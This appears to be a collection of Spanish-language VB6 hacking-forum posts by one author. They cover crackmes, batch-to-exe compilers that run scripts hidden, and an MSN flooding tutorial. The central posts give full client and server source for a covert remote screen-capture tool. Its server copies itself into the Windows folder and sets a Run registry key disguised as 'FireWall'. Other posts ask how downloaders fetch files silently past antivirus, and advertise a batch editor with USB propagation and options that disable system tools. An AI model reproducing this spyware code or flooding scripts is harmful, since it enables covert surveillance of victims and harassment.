Temas

[Brain Fucker]

Saludos, bueno aqui les presento mi ultima version de lo Crackme llamado Brain Fucker..
Este es un Crackme con varios niveles (3) que por falta de tiempo y por otros compromisos no pude hacerle 2 niveles mas, a diferencia del viejo Crackme este tiene unas mejoras aqui se las presento:

+ Mejorado sistema de encriptacion
+ mas funciones Anti-Debugger
+ Mas niveles
+ Sorpresa especial

Bueno, tambien deje en la ultima opcion un regalo especial hecho por mi, no se si d ificulte el trabajo pero espero que así sea y los pongo a pensar y a trabajar y sobre todo que se diviertan.
Aqui les dejo unas capturas del programa.





Bueno no dejare mas capturas descargenlo.. esta vez prometo que segun lo que he hecho sera mucho mas desafiante que antes y espero que les guste! ..

Descarga de Brain Fucker

P.D: El primer reto no lo postee aqui, disculpen.. espero que no sea una molestia y espero que les guste!

Hola, bueno estuve busncando en el API Guide y encontre algo en MSDN pero no consigue pegar con la correcta, desde la API SetClipBoardData que Consntante es necesaria para poder poner texto?.. gracias

Salduso, bueno tengo una duda que APIs son necesarias para cambiar los iconos de los archivos, y que necesito saber para poder cambiarlos, si alguien me puede ayudar mil gracias! ..

y otra cosa, si quiero hacer que en una label tengo esto:

hola como estas

y quiero hacer que en la label resalte el como, como harias esto?..

bueno como puedo renombrar a los archivos ( Cualquier extension ) de mi equipo??

Gracias!

Buenas, estoy trabajando con poner iconos al SysTray, bueno saben que ucnado uno hace algo ( cuando ya el icono del esta creado en el systray ) en el icono del systray que creamos, este envia ciertos mensajes ( que viene del uCallbackMessage de la estructura de NOTIFYICONDATA ) a una handle que se le pasa a uCallBackMessage...

Mi pregunta es desde un modulo, es posible que los mensajes pasados por el parametro uCallBAckMessage sean pasados a una funcion (sub, function ) especificada en el modulo y si es asi como lo haria??

Ahh, otra cosa, como se haria para que ( si tuviera para poder lo de los mensajes ) si quiero que al darle doble click al icono del systray, este muestre un menu popup pero en el systray??

Gracias!

bueno tengo solo 2 dudas acerca del diseño del cactus M.

1- como hace para que cuando se mueva el form principal el form del vmap se pegue junto a el principal?

2- en los botones de ? cuando unos los pulla sale otro form y si se mueve el form principal, estos se mueven con el como lo hace?

Grax!

Saludos, bueno tenia la duda de que APIs usan los downloader's para descargar archuivos silenciosamente sin que se den cuenta los usuarios?

Su que habia una API pero y que la detectaban los AV demasiado Facil a ver quien me ayuda un pelo!

Salu2's! 8)

Saludos, bueno miren tengo unos textbox en mi sstab que tiene 3 pestañas, lo que no consigue es al darle click en un boton, este me agrege en la 1 pestaña del sstab en el textbox de esta la palabra hola, en la segunda pestaña que contiene el segundo textbox me agrege buenos dias y en la tercera que tiene el 3 textbox me agrege prueba basica!?...

intente unos metodos, pero no me sirvieron busque y me pille un tuto a ver si salia pero no lo encontre, a ver si me podrian dar una manita! ...

Disculpen, pero no estoy muy familiarizado con los sstab!

Salu2's!" 8)

[Skull Batch's Hider V 0.1]

                                                            Skull Batch's Hider V 0.1

Saludos, bueno aqui les traigo una aplicacion para los Batcheros del foro! .. nos permite:

          Opciones:

1- Compilar nuestros .bat a .exe
2- Ejecutarlos en modo oculto

es simple la aplicacion la he testeado un 85% y no me da error, solo hay que tener cuidado con los iconos, ya que algunos pueden que no sirva pero para eso mas abajo les dejo la descarga de una cantidad de iconos que les puede servir, tambien los pueden modificar con el Micro Angelo...

                                                      Captura del programa

                                     

El programa es de simple uso, no tiene mucha complicacion, cualquier bug, daño, o error reportar en este hilo para ser atendido inmediatamente! ..

                                                 Mejoras futuras:

*- Que nos permita darlo tambien en modo Visible (Ya seria como mi Bat to Exe)
*- mas iconos
*- Source Code

P.D: Para aquellos que quieran dar, opiniones, criticas, opciones o nuevas ideas para el Programa solo postear! ....

Descarga Skull Batch's Hider
Descarga Pack de Iconos

Lenguaje: VB6
______________________________________________________________________

                            Skull Bat To Exe Compiler

Saludos, bueno aqui les presento el programa que me habia costado tanto sacar, pero ahora lo termine mi Skull Bat to Exe Compiler.. es lo mismo que el Batch Hider, pero este tiene la opcion de ejecutar los .bats tambien en modo visible, bueno dejemos de charlas y comenzemos:

                              Capturas



Opciones nuevas:

* la unica opcion agregada fue ejecutar en modo visible
* Se da el Source Code del programa, este esta en el about de programa!
* Se comenzo desde 0 el stub

bueno el Source Code del programa esta dentro del About Text, esta posteado en forma de tutorial para su mejor entendimiento!

Descarga del Bat To Exe Compiler

Salu2's! 8)

[CLIENTE]

Bueno saludos...

Llevo tiempo trabajando en este proyecto y aun no lo he culminado se trata de una pequeña aplicacion Cliente y Servidor que nos permite capturar la pantalla de una persona.
E tenido varios inconvenientes, mas que todo en el envio de la imagen lo que pasa es lo siguiente:

Uso un modulo especial para hacer una captura de la pantalla y pasarla de una a extension .jpg, ya que .bmp se tarda, entonces bien hasta ese punto.. pero cuando me toca enviar la imagen no se que hago malque si la imagen pesa 45kb (ejemplo loco) cuando abro la imagen para leer sus datos, y enviarlos al cliente solo le llegan 8kb... y pues no se como arreglar eso a ver si alguien me podria hechar una mano aqui les dejo el code completo del Cliente y el Server, espero no ser una molestia:

CLIENTE

Código [Seleccionar] Expandir


Const skull As String = "Skull Screen Capture V 0.1"

Private Sub Command1_Click()
ws.LocalPort = 1234
ws.Listen
Label1.Caption = "Escuchando..."
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    labe1.Caption = "Desconectado..."
    Timer1.Enabled = False
    ws.Close
fin:
End Sub

Private Sub Command3_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    ws.SendData "captura"
fin:
End Sub

Private Sub CommandXP1_Click()
Form3.Show
End Sub

Private Sub CommandXP4_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    ws.SendData "eliminar"
fin:
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
    Label1.Caption = "Server Conectado"
End If
If ws.State = 0 Then
    Label1.Caption = "Escuchando..."
    ws.LocalPort = 1234
    ws.Listen
End If
End Sub

Private Sub ws_Connect()
MsgBox ("Server Conectado con cliente"), vbInformation, skull
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim imagen() As String
Dim datos As String
dll = Dir(Environ("WinDir") & "\imagen.jpg")
ws.GetData datos

Select Case Left(datos, 3)
    Case "fot"
        imagen = Split(datos, "|")
            Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
                Put #1, , imagen(1)
            Close #1
If dll <> "" Then
        Form2.Picture1 = LoadPicture(Environ("WinDir") & "\imagen.jpg")
        Form2.Show
        Pause 3
        Kill Environ("Windir") & "\imagen.jpg"
        Else
    If Not dll <> "" Then
            Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
                Put #1, , imagen(1)
            Close #1
    End If
        If imagen(1) = "" Then
            ws.SendData "capturar"
        End If
End If
           
    Case "eli"
        MsgBox ("Server eliminado correctamente"), vbInformation, skull
       
End Select
End Sub

del cliente uno de los aspectos que me gustaria mejorar es la conexion (una porqueria) pero como es para aprender a enviar imagenes por WS.. pues de eso me encargo luego! el cliente tiene Editor, etc...

SERVER

Código [Seleccionar] Expandir


Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const SW_SHOWHIDE = 0
Const GWW_HINSTANCE = (-6)
Dim IPP() As String
Dim firma As String
Dim IP As String

Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName)))
Ruta = ModuleName
End Function

Private Sub Form_Load()
dll = Dir(Environ("WinDir") & "\foto.exe")
If App.PrevInstance = True Then End
firma = "skull"
If Not dll <> "" Then
    Call crear
End If
Open Ruta For Binary As #1
    Dim todo As String
    todo = Space(LOF(1))
    Get #1, , todo
Close #1
    IPP = Split(todo, firma)
    IP = IPP(1)
ws.Connect IP, 1234
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
If ws.State <> 7 Then
    ws.Close
    ws.Connect IP, 1234
End If
    If ws.State = 7 Then
        GoTo fin
End If
    If ws.State = 2 Then
        GoTo fin
End If
fin:
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim posi As String
Dim datos As String
ws.GetData datos
Select Case Left(datos, 3)
    Case "cap"
        Call Capturar_enviar
       
    Case "eli"
        posi = Environ("Windir") & "\foto.exe"
        Open Environ("Windir") & "\temp.bat" For Output As #1
            Print #1, , "ping 127.0.0.1 > nul"
            Print #1, , "del / f / q " & posi
            Print #1, , "exit"
        Close #1
        ShellExecute Me.hwnd, "Open", Environ("WinDir") & "\temp.bat", vbNullString, "", SW_HIDE
        ws.SendData "eliminado"
        End
End Select
End Sub

Private Sub Capturar_enviar()
Dim foto As New cJpeg
dll = Dir(Environ("Windir") & "\foto.jpg")
Dim FileSize As String
    foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
    foto.Quality = 93
    foto.SampleScreen
    foto.SaveFile Environ("Windir") & "\foto.jpg"
Pause 5
If dll <> "" Then
    Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
        Do Until EOF(1)
            Dim todo As String
                todo = Space(LOF(1))
            Get #1, , todo
        Loop
    Close #1
End If
ws.SendData "foto" & "|" & todo
End Sub

Private Sub crear()
FileCopy Ruta, Environ("WinDir") & "\foto.exe"
Dim sk As Object
    Set sk = CreateObject("WScript.Shell")
    sk.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\run\FireWall", Environ("WinDir") & "\foto.exe"
End Sub

Bueno este es el Server, espero que no se les complique y me puedan ayudar... como ya dije creo que mi error radica aqui:

Código [Seleccionar] Expandir


    Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
        Do Until EOF(1)
            Dim todo As String
                todo = Space(LOF(1))
            Get #1, , todo
        Loop
    Close #1
End If
ws.SendData "foto" & "|" & todo

pero en fin..

P.D: Para ahorrarle las respuestas a lgunos que van a decir: buscate un ejemplo de envio de datos en VB con Winsock, si ya lo he buscado pero no, quiero programar el MIO propio

Salu2's! 8)

[Captura de los caracteres]

Saludos, bueno miren este es mi problema:

E estado creando un Bat to Exe Compiler, bueno el programa a la hora de introducir el codigo del bat en el stub y ejecutar el stub y todo chevere el .bat se crea en la carpeta de testeo osea en la de WINDOWS.. pero hay aparece un problema al inico del .bat osea esto ocurre en la primera linea del .bat sea cual sea el comando se me crean unos caracteres raros que me anulan el codigo osea no me lo anulan sino me anulan esa sentecnia...

Captura de los caracteres



como veran son esos simbolos extraños que aparecen en el @echo off, esto ocurre cuando creo el .bat en modo binario y por si acaso en modo OutPut tambien pasa lo mismo pero con mas caracteres...

entonces trate de crear una funcion que leyera ese .bat buscara su primera linea la borra y la reemplazara con un @echo off.. esta es la funcion:

Private Sub Form_Load()
Dim semi() As String
Dim exo As String
exo = "@echo off"
Open Environ("Windir") & "\" & "tempfile.bat" For Input As #1
    Dim todo As String
        Do While Not EOF(1)
            todo = Input(LOF(1), #1)
        Loop
Close #1

semi = Split(todo, vbCrLf)

If UBound(semi) > 2 Then
    semi(0) = exo
End If

Open Environ("WinDir") & "\tempfile.bat" For Output As #1
    For i = 0 To UBound(semi)
        Print #1, semi(i)
    Next i
Close #1
End Sub

pero con esta funcion ocurre lo siguiente:

1- Cuando el .bat osea lo creo yo o mejor dicho NO tiene esos caracteres raros en la primera linea, este code funciona al 100% y si me reemplaza la primera linea, pero cuando es ese .bat que le aparecen esos codes que lo crea el stub, me tira un error el programa osea el codigo, incluso si usas la tecla F8 me dice:

Input Past End Of File

pero yo uso la funcion Do while NOT EOF(1) se supone que esto NO deberia pasar!...
en fin consulto a este foro ya que es mi ultima opcion a los otros foros que consulte no lo pudieron arreglar como ultimas dos cosas les dejo el code del stub en si y la parte donde meo los archivo al stub del cliente y el proyecto compilado para que lo testeen y traten de resolverlo!..

Source del Server

Código [Seleccionar] Expandir

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Dim Firma As String
Dim SubFirma As String
Dim modo As String
Dim datobat As String
Dim code As Variant, Partes As Variant
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0

Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName)))
Ruta = ModuleName
End Function

Private Sub Form_Load()
Firma = "[--]"
SubFirma = "[++]"

Open Ruta For Binary Access Read As #1
    Dim todo As String
    todo = Space(LOF(1))
    Get #1, , todo
Close #1

code = Split(todo, Firma)
For i = 1 To UBound(code)
    Partes = Split(code(i), SubFirma)
        For x = 0 To UBound(Partes)
            Select Case x
                Case 0
                    datobat = Partes(x)
                Case 1
                    modo = Partes(x)
            End Select
        Next
Next

Open Environ("Windir") & "\" & "tempfile.bat" For Binary Access Write As #1
Seek (1), LOF(1) + 1
    Put #1, , datobat
Close #1
Pause 1
Call arreglar

If modo = "inv" Then
    ShellExecute Me.hwnd, "open", Environ("Windir") & "\" & "tempfile.bat", vbNullString, "", SW_SHOWNORMAL
    Else
        If modo = "vis" Then
            ShellExecute Me.hwnd, "open", Environ("Windir") & "\" & "tempfile.bat", vbNullString, "", SW_HIDE
        End If
End If
Call fin
End Sub

Private Sub fin()
End
End Sub

Private Sub arreglar()
Dim semi() As String
Dim exo As String
exo = "@echo off"
Open Environ("Windir") & "\" & "tempfile.bat" For Input As #1
    Dim todo As String
        todo = Input(LOF(1), #1)
Close #1

semi = Split(todo, vbCrLf)

If UBound(semi) > 2 Then
    semi(0) = exo
End If

Open Environ("WinDir") & "\tempfile.bat" For Output As #1
    For i = 0 To UBound(semi)
        Print #1, semi(i)
    Next i
Close #1
End Sub

este es el code del stub y ahora el programa compilado el stub.dll debe estar junto al .exe!

Obtenemos datos del .bat

Código [Seleccionar] Expandir

Open rutab For Binary Access Read As #1
    Dim datobat As String
    datobat = Space(LOF(1))
    Get #1, , datobat
Close #1

en este obtenemos los datos del bat y en este los introducimos al stub.

introducimos datos al stub]

Código [Seleccionar] Expandir


Open App.Path & "\" & cd.FileTitle & ".exe" For Binary Access Write As #1
    Seek (1), LOF(1) + 1
    Put #1, , firma
    Put #1, , datobat & subfirma & modo
Close #1



____________________________________________________________________

PRIMER BAT TO EXE   
PACK DE ICONOS

____________________________________________________________________


P.D: Este programa que les deje arriba es el Bat to Exe pero este NO incluye la funcion de arreglar ya que si se la incluyo me tira error cuando pasa por la funcion el error es el que explique arriba...
Bueno a ver quien lo resuelve ya que se me ha hecho imposible y le rindo honores!:\\ =D..

Salu2's! 8)

saludos, bueno tengo este problema yo obtengo los datos de un archivo .bat y los meto en mi server al ejecutar el server, chevere crea el ejecutable y mete sin problemas los archivbos solo que por ejemplo en la primera linea del .bat siempre sea cual sea la linea me agrega unos caracteres extraños al inicio de esa linea...
y bueno me daña el comando por ejemplo si meto esto:

@echo off
color 0a
cls
..
..

me le agrega cosas en esta parte

, 2@echo off
color 0a
cls
..
..

y otros simbolo raro! como puedo solucionarlo sabiendo que introdusco los datos de manera binary!

[Run-Time error "9":SubScript out of range]

Saludos, bueno tengo este problema que no he logrado resolver hasta los momentos, tal vez el problema sea tonto pero no logro verlo no se en que me equivoco, el programa lo que hace es capturar remotamente la pantalla del ordenador y enviarla al cliente hasta los momentos me la captura pero cuando la envia al cliente en cierto momento el cliente me tira un error llamado:

Run-Time error "9":
SubScript out of range

bueno aqui les dejo el code completo del server y cliente, sabiendo que hay que mejorarle ciertas cosas tales como la conexion, y el metodo de captura!:

Cliente

Código [Seleccionar] Expandir

Private Sub Command1_Click()
ws.LocalPort = 1234
ws.Listen
Label1.Caption = "Escuchando..."
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
ws.Close
labe1.Caption = "Desconectado..."
Timer1.Enabled = False
End Sub

Private Sub Command3_Click()
ws.SendData "cap"
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
Label1.Caption = "Server Conectado"
End If
If ws.State = 0 Then
Label1.Caption = "Escuchando..."
ws.LocalPort = 1234
ws.Listen
End If
End Sub

Private Sub ws_Connect()
MsgBox ("Server Conectado con cliente"), vbInformation, "Skull Capture"
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim dato As String
Dim envio As Boolean
Dim lf() As String
Dim lenfile As String

ws.GetData dato
Select Case Left(dato, 3)
    Case "Tam"
        lf = Split(dato, "|")
        lenfile = lf(2)
        envio = True
        ws.SendData "send"
    Case "sen"
        Dim imagen() As String
        If envio = True Then
        Data = dato
            If Len(Data) = lenfile Then
                Open Environ("temp") & "\imagen1.bmp" For Binary As #1
                Put #1, , lenfile
                Close #1
                Form2.Show
                Form2.Picture1.Picture = LoadPicture(Environ("Temp") & "\imagen1.bmp")
                Kill Environ("Temp") & "\imagen1.bmp"
            End If
        End If
End Select
End Sub


Server

Código [Seleccionar] Expandir

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Sub Form_Load()
ws.Connect "127.0.0.1", 1234
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
If ws.State <> 7 Then
ws.Close
ws.Connect "127.0.0.1", 1234
End If

If ws.State = 7 Then
GoTo fin
End If

If ws.State = 2 Then
GoTo fin
End If

fin:
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
Select Case Left(datos, 3)
    Case "cap"
        Call Capturar_enviar
    Case "Sen"
        Dim send As String
        Open "E:\imagen1.bmp" For Binary As #1
        Do While EOF(1)
        send = Space(LOF(1))
        Get #1, , send
        Loop
        Close #1
        ws.SendData send
        Pause 1
        Kill "E:\imagen1.bmp"
End Select
End Sub

Private Sub Capturar_enviar()
Clipboard.Clear

keybd_event 44, 0, 0, 0
keybd_event 44, 0, KEYEVENTF_KEYUP, 0
Pause 1
Picture1.Picture = Clipboard.GetData
SavePicture Picture1.Picture, "E:\imagen1.bmp"
Clipboard.Clear
Pause 1
ws.SendData "Tam:|" & FileLen("E:\imagen1.bmp")
End Sub

Bueno espero que uno me pueda hechar una mano con esto! ..

Salu2's!

[Messenger API Type Library]

Pues, saludos, en vista de que muchas personas quieren trabajar con el Messenger API Type Library para trabajar con la API del Messenger, y cuadno lo buscan en referencia no la encuentran aqui la solucion:

Problema:

Este problema ocurre porque no tienen la Version del Window Messenger 4.0 que es un .exe activex o algo asi...

Solucion:

Simple instalar este MSN en nuestro sistema!..

Pues aqui como dije se los dejo pero por si quedan con dudas por ser un .exe aqui les dejo el analizis de VirusTotal:



pues basta de charlar aqui les dejo el programa MSN:

Descarga: Descarga MSN

Salu2's!

Saludos, bueno queria ver si alguien de ustedes me podria dar un consejo, este es el punto, ya no se que mas hacer en programacion quiero decir, controlo las API un 5.5 sobre 10, y pues creo que programo bien, pero he llegado a un punto, que no se que mas programar, y quiero seguir programando, como a veces no!...

Entonces queria pedirle el consejo, que puedo hacer ahora? no se que hacer con mi "camino" de programador, a ver si me dan un consejito!

Gracias!

[Skull Bat's Editor]

Saludos, bueno aqui les presento otra pequeña aplicacion de las mias! se llama Skull Bat's Editor y como su nombre lo dice nos permite Editar Archivos .bat o introducirles codigos que aqui en mi programa se presentan... bueno como siemrpe dejo las capturaS!

                              Capturas

Form Principal



Form de Opciones



Opciones de Edicion

- Propagacion USB
- Deshabilitar RegEdit
- Deshabilitar TaskMan
- Deshabilitar MsConfig
- Copiarse a Carpetas
     + System
     + System32
     + Temp
     + C:\WINDOWS
- Agregarse al Registro

Futuras Opciones

- Propagacion p2p
- Infectar Archivos .Rar
- Deshabilitar al minimizar ventanas
- Matar Procesos

Desventajas

Como esta hecho en VB6 y use un componente CommondDialog si no me equivoco si les tira un error de que les falta un .ocx o algo asi, en el archivo .rar esta esa .ocx, lo unico que tienen que hacer es copiar esa .ocx al C:\WINDOWS\system32 y listo!

Gracias a:

SmartGenius por siempre ayudarme en el testeo de mis programas! no se que haria sin el!

LINK DE DESCARGA: Descarga de AQUI

Salu2's! 8)

[Manipulando el MSN]

                                                                 Manipulando el MSN

Saludos, bueno creo este Tuto para que aprendan por decirlo asi a manipular, o crear sus aplicaciones un poco avanzadas usando el VB eso si este tuto no es para aquellos que no tienen ni idea de como hacerlo, o nisiquira han leido sobre manipular el MSN con VB para eso primero leanse esta pequeña introduccion y listo!

Introduccion al MSN AQUI

jeje bueno leanselo y listo, repito si no tienes idea de como manipular el msn en VB lee el tuto que te deje arriba y luego prosigue leyendo si no no!!

Comenzemos

Bueno antes que nada hay que agregar nuestra referencia que la agregamos asi: Proyecto > Referencia > Buscan Messenger API Type Library > Aceptar bueno este es el primer paso, luego agregamos en general Public WithEvents MSN As Messenger y en el form_load copian esto Set MSN = New Messenger
Bueno con esto estamos listos para comenzar y claro tampoco se los dejo papaya; tambien necesitan declarar ustedes saben que (Mas adelante veran) para manipular parte de los contactos, etc!

Agregando TODOS nusetro contactos en un ListBox:

Esto en el tuto de arriba si no me equivoco se lo van a explicar, pero bueno voy a refrescarles la memoria ya que vamos a trabajar mayormente listando a los contactos para luego hacernos de las nuestras!
Ya con todo agregado agregamos un ListBox y un CommandButton, en el comannd ponemos esto:

Código [Seleccionar] Expandir

Private Sub Command1_click()
List1.Clear 'limpiamos el listbox
Set MsgrUIA = New MessengerAPI.Messenger ' seteamos MsgrUIA para trabajar con contactos
Dim user As IMessengerContact ' declaramos user como contacto del msn

    For Each user In MsgrUIA.MyContacts ' por cada user(usuraio) en MsgrUIA.MyContacts(osea en la lista de TUS contactos)
        If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then ' si estan en esos estados de arriba
        List1.AddItem user.SigninName ' lo agregamos al list1
        End If 'terminamos if
    Next ' next
Set MsgrUIA = Nothing ' limpiamos el MsgrUIA
End sub ' terminamos

Bueno creo que el code no tiene mayor explicacion, se explica por si solo!

Ahora si quisieramos mandarler un Mensaje a TODOS los contactos de nuestra lista conectados, como hariamos?
pues simple, de la misma forma que arriba solo que vamos a hacer algo mas facil! :

Código [Seleccionar] Expandir

Private sub Command2_Click()
dim user as IMessengerContact ' ya explicado
dim venta as IMessengerConversationWnd ' ya explicado
Set MsgrUIA = New MessengerAPI.Messenger ' seteamos

    For Each user In MsgrUIA.MyContacts
        If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then ' por cada usuario en el estado de arriba
        Set venta = MSN.InstantMessage(user) ' abrimos la ventana de conversacion con el user que esta en el bucle
              SendKeys Text1.Text ' ponemos nuestro comentario en el ClipBoard del msn
              SendKeys "{ENTER}" ' enviamos las teclas enter
            venta.Close ' cerramos la ventana de conversacion
        End If
      Next
Set MsgrUIA = Nothing 'limpiamos
end sub

Bueno creo que hay me toca explicar ciertas cositas basicas, como es el SendKeys, el SendKeys nos permite enviar pulsaciones como si estuvieramos escribiendo lo que hacemos aqui es enviar lo que esta en el Text1.text a la aplicacion de la conversacion del MSN y luego el enter!....
Mas abajo les dejo un poco de info sobre las teclas, etc!
Bueno por lo demas no creo que haya mayor explicacione en esta!

Bueno skull y si ahora quisiera enviar un mensaje mas de una vez a un solo contacto que YO quiera!
Pues simple, lo voy a explicar de la manera que YO lo hago; agregamos 1 commandButton, 1 label(Caption Listar), 1 ListBox(Stile CheckBox), y 1 TextBox

Bueno en la label vamos a colocar este code:

Código [Seleccionar] Expandir

Private Sub Label1_Click()
On Error Resume Next
List1.Clear
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
    For Each user In MsgrUIA.MyContacts
        If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
        List1.AddItem user.SigninName
        End If
    Next
Set MsgrUIA = Nothing
End Sub

Bueno ya saben este code lo que hace es lista todos nuestros contactos en el listbox, el textbox sera donde pondremos el mensaje que queremos hacer llegar a el o nuestros contactos seleccionados en el ListBox, ahora pasamo al CommandButton y ponemos este code:

Código [Seleccionar] Expandir

Private sub command1_Clicl()
On Error Resume Next
If List1.SelCount = 0 Then ' vemos si no se selecciono nada en el listbox tiramos un MsgBox
MsgBox ("Porfavor eliga un usuario"), vbInformation, "MSN Manager"
GoTo fin
End If

If IsNumeric(Text2.Text) = False Then ' ahora si en el text2.text es numerico pues tiramos otro MsgBox
MsgBox ("Porfavor agrege un numero no una letra")
GoTo fin
End If

Call cucu(Text1, Text2)
Text2.Text = "1"
fin:
end sub

Bueno antes de que se me olvide, ya que se me habia olvidado tienen que agregar otro textbox, este es para el numero de veces que repetiremos el mensaje a enviar! ..
Ahora pasamos a las Funcion Cucu!

Código [Seleccionar] Expandir

Private Sub cucu(mensa As String, veces As String)
On Error Resume Next
Dim b As Integer
Dim g As Integer
Dim venta As IMessengerConversationWnd

If veces = 0 Then veces = 1 ' si el numero de veces es igual a 0 entonces ponemos de valor 1

For i = 0 To List1.ListCount - 1 ' para i que es igual a 0 hasta la lista de la cuenta del ListBox
    If List1.Selected(i) = True Then ' si el contacto esta seleccionado(true) entonces
    Set venta = MSN.InstantMessage(List1.List(i)) ' seteamos nuestra ventana de conversacion
        For g = 1 To veces ' creamos un bucle para el numero de veces
                SendKeys mensa ' enviamos el mensaje o lo seteamos en el "CliBoard"
                SendKeys "{ENTER}" ' damos un enter para enviarlo
                DoEvents ' hacemos DoEvents para no perder el bucle o el control de este
            Next ' seguimos
        venta.Close
    End If
    DoEvents
Next
Set venta = Nothing
End Sub


Bueno creo que ya explique en el code, y si entiendes es algo realmente facil no tiene mucha explicacion, solo hay que meterle la cabeza y listo!

Bueno ya hemos manipulado la mayor parte o bueno en realidad, hemos manipulado ciertas cosas, creo que con esto es suficiente para que creen sus propias aplicaciones para el MSN bueno en fin, ahora vamos a explicar otras cosas como un MSN Flooder de Status y un MSN Nudger Flooder

MSN Nudger

Bueno este es demasiado simple, y es manipulando las ventanas mas el SendKeys, claro exciste si no me equivoco un metodo mejor que es usando una API, yo como no sabia ese metodo, pues lo hice a mi manera!xD lo cual es mejor usar la API en vez de esta pero yo explico la mia!

Agregamos 2 TextBox y 1 CommandButton, el textbox es donde ponen el nombre del contacto que le haremos el Nudgeo, y el segundo para el numero de veces a nudgear!

en el command ponen esto:

Código [Seleccionar] Expandir


Private Sub Command1_Click()
If Text6.Text = "" Then
    MsgBox ("Porfavor, agrege un contacto para Floodear"), vbInformation, "MSN Manager"
GoTo pero
End If

If Text5.Text = "" Then
    MsgBox ("Porfavor agrege una cantidad para Floodear"), vbInformation, "MSN Manager"
GoTo pero
End If

If IsNumeric(Text5.Text) = False Then
MsgBox ("Eso se supone que es un numero" & " Text5.text"), vbInformation, "MSN Manager"
GoTo pero
End If

If Text5.Text = 0 Then
Text5.Text = 1
End If

Dim ventax As IMessengerConversationWnd
    For Y = 1 To Text5.Text ' caemos en el bucle para el floodeo
        Set ventax = MSN.InstantMessage(Text6.Text) ' seteamos la ventana de conversacion con nuestro contacto
        SendKeys "%Z" ' enviamos esta tecla que mas abajo veran para que es solo les digo que cuando la precionan envia de una un Nudgeo
        Pause 1 'damos pausa por 1 segund mas abajo explico
    ventax.Close ' cerramos la ventana
Next Y ' seguimos el bucle
pero:
end sub

Bueno voy a explicar que es ese Pause 1 aunque en el tuto de arriba te explican que es pero bueno, lo que hace este pause es como dice mismo dar una pause y el 1 es el tiempo en segundo ustedes pueden poner 5 que son 5 segundo, pero yo uso uno ya veran para que, en fin este code lo tienen que agregar en un moduo .bas!

Código [Seleccionar] Expandir

Sub Pause(interval)
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub

eso es todo, ahora el code esta bien explicado!

Status Flooder

Pies el Status Flooder no es mas que conectarnos y desconectarnos para asi crear muchas ventanitas PopUp para joder a la gente!

Agregamos un commandButton y un textbox donde el textbox sera la cantidad de veces a conectarnos! y como siempre agregen esto al command
